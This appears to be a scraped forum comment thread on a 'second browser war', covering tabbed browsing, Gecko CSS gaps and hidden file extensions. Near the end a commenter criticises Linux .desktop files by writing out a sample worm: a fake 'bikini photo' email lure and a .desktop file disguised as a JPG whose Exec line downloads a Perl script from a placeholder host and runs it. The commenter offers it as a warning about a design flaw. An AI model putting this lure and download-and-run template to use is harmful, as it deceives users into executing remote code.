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Browser Wars 2: Electric Boogaloo
Tomas wrote to mention an article up on XYZ Computing discussing what is shaping up to be another round of the Browser Wars. From the article: "To anyone that has been following the Window's browser news lately, it is apparent that the stage is set for another browser war. Last experienced during the nineties, companies are fighting over which program consumers use to view the internet. For the average computer user this is a very good thing as it should drastically improve browser performance in a short period of time."
Indeed. Not to let IE off the hook, but Gecko's lack of support for display: inline-block and display: run-in has substantially complicated many a project of mine. Even IE supports these properties, for shame, and the workarounds for Gecko are a real bitch, where they exist at all.
Just a pet peeve of mine, I guess. Anyone else?
for those that don't know the whole "random title " 2 - Electric Boogaloo comes from the movie Breakin' 2 - Electric Boogaloo and has been used by anyone desperate for a laugh.
Dumb article, too.
The next big play in the "browser wars" should be more aggressive ad blocking.
Taskbar program grouping takes care of one problem that tabbed-browsing solves, namely having easy access to any number of "windows". It does not, however, solve the "too many windows" problem. Open up 9 firefox Windows and see how unwieldy your desktop is. Furthermore, Alt+Tab also suffers from multiple windows, whereas with tabbed browsing, one Alt+Tab gets you to the browser window, then ctrl+tabs get you to the right tab.
btw, i really don't understand what the big deal about tabs in msie is... people who cared have been using them for ages with products like slimbrowser, like i did before using firefox. people who don't will continue not to care and will not use them, probably they'll never even see them because ms will make it so that, by default, when there's only one tab it is hidden.
Global warming is a cube.
This option was largely responsible for the success of email viruses that came as attachments named "big_boobs.jpg.exe"
.exe extension, not that they hide it. No matter what you do, a .exe file is executable. Compare it to the Unix's permission model. You could download a executable from internet, but it wouldn't work because it has not the +x bit set.
.desktop files? Noticed how inside a .desktop file you have a "Run=" field where you can put "Run=wget www.foo.com/worm.pl; perl worm.pl"? Noticed in fact how you can hide the whole file name by adding a "Name=" field?
IMO the problem there was the
And don't think you're free of the Windows braindamage in linux/BSD. Freedesktop managed to fuck it again, with the "desktop specification file" (Warning: don't try to discuss this with the freedesktop guys. I already tried). Noticed how nautilus and konqueror hide the extension in
In fact, look at the following valid worm:
I'm called Mary, and I want to know what you think about my new bikini
To see me, save the attached file in your desktop and double click it. Kisses!
attached file: save.to.your.desktop
Name=My Bikini zoomed.jpg
Icon=fakeiconpresentonthesystem.png
Exec=wget http://www.foo.com/evilperlscript; perl evilperlscript
We just need more marketshare to see this work.